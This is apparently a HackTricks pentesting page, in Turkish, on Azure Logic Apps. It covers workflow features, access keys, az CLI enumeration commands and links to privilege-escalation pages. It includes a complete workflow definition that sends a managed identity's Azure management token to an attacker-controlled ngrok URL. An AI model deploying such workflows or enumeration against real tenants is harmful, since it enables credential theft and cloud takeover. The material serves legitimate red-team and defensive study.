Az - Logic Apps

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Azure Logic Apps, geliştiricilerin çeşitli hizmetleri, veri kaynaklarını ve uygulamaları entegre eden iş akışları oluşturmasına ve çalıştırmasına olanak tanır. Bu iş akışları, iş süreçlerini otomatikleştirmek, görevleri düzenlemek ve farklı platformlar arasında veri entegrasyonları gerçekleştirmek için tasarlanmıştır.

Logic Apps, çeşitli hizmetlerle bağlantı kurmayı ve etkileşimde bulunmayı kolaylaştıran önceden oluşturulmuş geniş bir bağlantı yelpazesi ile iş akışları oluşturmak için bir görsel tasarımcı sağlar:

https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png

Barındırma Seçenekleri

Birçok barındırma seçeneği vardır:

  • Tüketim
  • Çok kiracılı: Bu, paylaşılan hesaplama kaynakları sağlar, kamu bulutunda çalışır ve işlem başına ödeme fiyatlandırma modelini takip eder. Bu, hafif ve maliyet etkin iş yükleri için idealdir. Buna “Tek İş Akışı” diyeceğiz.
  • Standart
  • İş Akışı Hizmet Planı: Bu, ağ için VNET entegrasyonu ile birlikte özel hesaplama kaynakları sağlar ve her iş akışı hizmet planı örneği için ücret alır. Daha fazla kontrol gerektiren daha talepkar iş yükleri için uygundur.
  • Uygulama Hizmeti Ortamı V3: Bu, tam izolasyon ve ölçeklenebilirlik ile birlikte özel hesaplama kaynakları sağlar. Ayrıca ağ için VNET ile entegre olur ve ortam içindeki Uygulama Hizmeti örneklerine dayalı bir fiyatlandırma modeli kullanır.
  • Hibrit: Bu, yerel işleme ve çoklu bulut desteği için tasarlanmıştır. Yerel ağ erişimi ile müşteri yönetimindeki hesaplama kaynaklarına izin verir ve Kubernetes Olay Tabanlı Otomatik Ölçekleme (KEDA) kullanır. Bir Konteyner Uygulama Bağlı Ortamına dayanır.

“Tek” İş Akışları / Tüketim Planı

Bir iş akışı, belirli bir süreci veya hedefi gerçekleştiren otomatik adımların veya görevlerin yapılandırılmış bir dizisidir. Farklı eylemlerin, koşulların ve kararların nasıl etkileşime girdiğini tanımlar, istenen bir sonuca ulaşmayı sağlar, operasyonları kolaylaştırır ve manuel çabayı azaltır.

Tip

Tüketim planı, bir Logic App’in kendisine ihtiyaç duymadan tek bir iş akışı oluşturmayı sağlar.

Tetikleyiciler ve Eylemler

İş akışı tetikleyicileri, iş akışının ne zaman başlaması gerektiğini belirtir. Tetikleyiciler, bir HTTP uç noktası, bir program veya Azure’dan veya hatta harici uygulamalardan gelen onlarca farklı olay olabilir.

Her iş akışının farklı eylemleri vardır. Bu eylemler, iş akışının takip ettiği adımlardır. Eyleme bağlı olarak, yapılandırmak için farklı parametreler mevcut olacaktır, örneğin:

  • Bağlantı adı: Eylemin etkileşimde bulunacağı bağlantı.
  • Kimlik Doğrulama Türü: Farklı seçenekler Erişim Anahtarı, Microsoft Entra ID, Entegre Hizmet Prensibi kimlik doğrulaması ve Logic Apps Yönetilen Kimliği’dir.
  • Salt Okuma perspektifinden, Kimlik Doğrulama verileri her zaman ilginçtir çünkü hassas bilgiler içerebilir.
  • Yazma perspektifinden, Kimlik Doğrulama verileri her zaman ilginçtir çünkü atanan yönetilen kimliklerin izinlerini kullanmaya olanak tanıyabilir.

Eylemler ayrıca, eylemin kendisine bağlı olarak çeşitli ayarlar içerir. En yaygın ayarlardan bazıları şunlardır:

  • Yeniden Deneme Politikası: Yeniden deneme sayısını ve bunlar arasındaki aralığı yapılandırır.
  • Zaman Aşımı: Eylemin zaman aşımına uğramadan önce çalışabileceği maksimum süreyi ayarlar.
  • Sonra Çalıştır: Eylemin çalışmadan önce karşılanması gereken koşulları belirtir.
  • Şema Doğrulama: Gelen verilerin önceden tanımlanmış bir yapıyı takip etmesini sağlar.
  • Ağ Yönetimi: Farklı başlıkları nasıl yöneteceğini yapılandırır.
  • Güvenli Giriş/Çıkışlar: Bu, giriş/çıkış verilerini çalışma geçmişinden gizler.

Yetkilendirme Politikaları

Bu iş akışları, geçerli bir erişim belirteci gerektirerek istek tabanlı tetikleyicileri güvence altına almak için Entra ID ile yetkilendirme politikalarını destekler. Bu belirteç, belirli talepleri içermelidir:

  • Kimlik Sağlayıcısını doğrulamak için Verici (iss)
  • Belirtecin Logic App için tasarlandığını sağlamak için Hedef (aud)
  • Arayanı tanımlamak için Konu (sub)
  • JWT ID (JSON Web Token tanımlayıcısı)
  • Özel Talep

Bir istek alındığında, Logic Apps bu taleplere karşı belirteci doğrular ve yalnızca yapılandırılmış politika ile eşleşiyorsa yürütmeye izin verir. Bu, başka bir kiracının iş akışını tetiklemesine izin vermek veya diğer kaynaklardan tetiklemeyi reddetmek için kullanılabilir; örneğin, yalnızca https://login.microsoftonline.com/ adresinden gelen tetiklemeye izin vermek.

Erişim Anahtarları

İş akışları oluşturulduğunda 2 erişim anahtarı üretir. Bu anahtarlar, iş akışına yapılan istekleri kimlik doğrulamak ve yetkilendirmek için kullanılır. Anahtarlar, isteğin URL’sinde yer alan Paylaşılan Erişim İmzası (SAS) belirteci oluşturmak için kullanılır.

Bu nedenle, bir HTTP uç noktası tetikleyicisi oluşturulduğunda, iş akışını çağırma izni veren SAS imzasına sahip benzersiz bir HTTP uç noktası oluşturulur.

Bu anahtarlar yeniden oluşturulabilir ve bu tetikleyiciler için yeni bir SAS URL’si oluşturulacaktır, ancak anahtar değerlerine erişilemez.

Bir tetikleyiciyi çağırmak için bir SAS URL’si örneği:

https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>

Workflow Ayarları ve Bileşenleri

  • Tetikleyici erişim seçeneği: Bu ayar, iş akışınızı kimin tetikleyebileceğini veya başlatabileceğini kısıtlamanıza olanak tanır. Seçenekler: Herhangi bir IP, Sadece diğer iş akışları ve Belirli IP aralıkları.
  • Entegrasyon hesabı: İş akışınızı bir Entegrasyon Hesabına bağlayın.
  • Yüksek verim: Açık olduğunda, daha fazla isteği paralel olarak hızlı bir şekilde işleyebilmenizi sağlar.
  • Çalıştırma geçmişi saklama süresi: Bu, çalıştırma geçmişini saklamak için kaç gün tutulacağını belirtir.
  • API bağlantıları: Bu, iş akışının sahip olduğu farklı API bağlantılarını gösterir. Bu bağlantıların her birinin farklı özellikleri vardır ve Kimlik Doğrulama türünün değiştirilebileceği API bağlantısını düzenleme olanağı vardır.
  • Geçmiş: Eski yürütmelerin geçmişine erişim sağlama ve verileri alma seçeneği vardır: Ayarlar, Çıktı, Parametreler ve Kod.
  • Sürümler: İş akışının farklı sürümlerine erişim sağlama seçeneği vardır; burada kodu kontrol edebilir ve mevcut iş akışını daha eski bir sürümüyle değiştirebilirsiniz.
  • Yönetilen Kimlikler: İş akışına 1 sistem yönetilen kimlik ve sunucu kullanıcı yönetilen kimliği atamak mümkündür.

Yönetilen Kimlik Erişim Jetonlarını Sızdırma

Bir iş akışındaki HTTP eylemi, verileri harici bir web’e göndermek için kullanılabilir. HTTP eyleminin Gelişmiş parametreleri içinde, Kimlik Doğrulama Türü olarak Yönetilen kimlik yapılandırmak ve ardından kullanılacak atanmış Yönetilen Kimliği seçmek mümkündür (sistem veya kullanıcı).

Ayrıca, oluşturulan JWT’nin hedef kitlesini Audience içinde belirtmek mümkündür; bu, örneğin https://management.azure.com/ olabilir, böylece oluşturulan jetonu Azure yönetim API’sine erişmek için kullanabilirsiniz.

Warning

Eylemin HTTP isteğini bir saldırgan tarafından kontrol edilen bir sunucuya göndermesini sağlamak, iş akışına atanan yönetilen kimliğin erişim jetonunu sızdırmak mümkündür.

Tip

Bir saldırgan ayrıca doğrudan diğer Azure hizmetlerine erişmek ve yönetilen kimliğin izinleriyle eylemler gerçekleştirmek için diğer türde eylemleri de kullanabilir.

Bu, bir HTTP uç noktası açığa çıkaran ve ardından yapılandırılan URL’ye (bu durumda ngrok) erişim jetonunu sızdırmak için bir HTTP eylemi kullanan bir iş akışının kodudur:

İş akışı kodu ```json { "definition": { "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", "contentVersion": "1.0.0.0", "triggers": { "When_a_HTTP_request_is_received": { "type": "Request", "kind": "Http" } }, "actions": { "HTTP": { "runAfter": {}, "type": "Http", "inputs": { "uri": "https://22b6-81-33-70-107.ngrok-free.app", "method": "GET", "authentication": { "type": "ManagedServiceIdentity", "audience": "https://management.azure.com/" } }, "runtimeConfiguration": { "contentTransfer": { "transferMode": "Chunked" } } } }, "outputs": {}, "parameters": { "$connections": { "type": "Object", "defaultValue": {} } } }, "parameters": { "$connections": { "type": "Object", "value": {} } } } ```

Logic Apps / Standart Plan

“Tek” İş Akışları ile Farklar

Logic apps temelde arka planda bir App Service kullanarak birden fazla iş akışını barındırabilen bir logic app’i barındırır. Bu, logic app’in bir App Service’in ve “Tek” İş Akışlarının tüm özelliklerine sahip olacağı anlamına gelir.

Bazı anahtar özellikler şunlardır:

  • App Service Plan: Standart plandaki Logic Apps, bir App Service Plan üzerinde barındırılır, bu nedenle aşağıdaki gibi tüm App Service özelliklerini kullanmak mümkündür:
  • Ağ Kısıtlamaları: Nereden erişilebileceğini belirtir.
  • Dağıtım Merkezi: Github, Bitbucket, Azure Repos, Dış Git ve Yerel Git gibi dış platformlardan dağıtım yapma.
  • FTP erişimi: Logic App’in dosyalarına FTP üzerinden erişmek mümkündür.
  • Depolama Hesabı: Servis uygulaması, bilgileri depolamak için bir depolama hesabı kullanır.
  • Env değişkenleri & Uygulama Ayarları: Çevresel değişkenleri ve uygulama ayarlarını yapılandırmak mümkündür (ve depolama hesabına erişim anahtarları gibi hassas bilgileri bulmak mümkündür).
  • Parametreler: Parametreler, geliştirme, test ve üretim arasında değişen değerleri yönetmenizi sağlar. Bu, iş akışlarını önce tasarlamanıza, ardından çevreye özgü ayarları kolayca ayarlamanıza olanak tanır.
  • Ayrı Kaynaklar: Standart plandaki Logic Apps, ayrı kaynaklara sahiptir.
  • Birden Fazla İş Akışı: Birden fazla iş akışı oluşturmayı sağlar.

App Services hakkında daha fazla bilgi için kontrol edin:

Az - Azure App Services

Sayım

# List
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>

# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"

# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"

# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"

# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"

# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>

# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>

# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>

# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"

# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"

# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"

# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"


Entegrasyon Hesapları

Entegrasyon Hesapları, Azure Logic Apps’in bir özelliğidir. Entegrasyon Hesapları, EDI, AS2 ve XML şeması yönetimi gibi gelişmiş B2B yeteneklerini etkinleştirerek kurumsal düzeyde entegrasyonları kolaylaştırmak için kullanılır. Entegrasyon Hesapları, Logic Apps için kullanılan aşağıdaki nesneleri depolayan Azure’daki bir konteynırdır:

  • Şemalar: Entegrasyon hesabınızdaki mesajları doğrulamak ve işlemek için XML şemalarını yönetin.
  • Haritalar: Entegrasyon iş akışlarınızda veri formatlarını dönüştürmek için XSLT tabanlı dönüşümleri yapılandırın.
  • Derlemeler: Mantık ve veri işleme süreçlerini kolaylaştırmak için entegrasyon hesabı derlemelerini yönetin.
  • Sertifikalar: Mesajları şifrelemek ve imzalamak için sertifikaları yönetin, güvenli iletişimi sağlamak için.
  • Ortaklar: B2B işlemleri için ticari ortak bilgilerini yönetin, kesintisiz entegrasyonları etkinleştirin.
  • Anlaşmalar: Ticari ortaklarla veri alışverişi için kuralları ve ayarları yapılandırın (örneğin, EDI, AS2).
  • Toplu Yapılandırmalar: Mesajları verimli bir şekilde gruplamak ve işlemek için toplu işleme yapılandırmalarını yönetin.
  • RosettaNet PIP: B2B iletişimini standartlaştırmak için RosettaNet Ortak Arayüz Süreçlerini (PIP’ler) yapılandırın.

Sayım

# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>

# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>

az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>

# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>

# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>

# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>

# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>


Yetki Yükseltme

Logic apps privesc ile aynı:

Az - Logic Apps Privesc

Post Exploitation

Az - Logic Apps Post Exploitation

Süreklilik

Az - Logic Apps Persistence

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin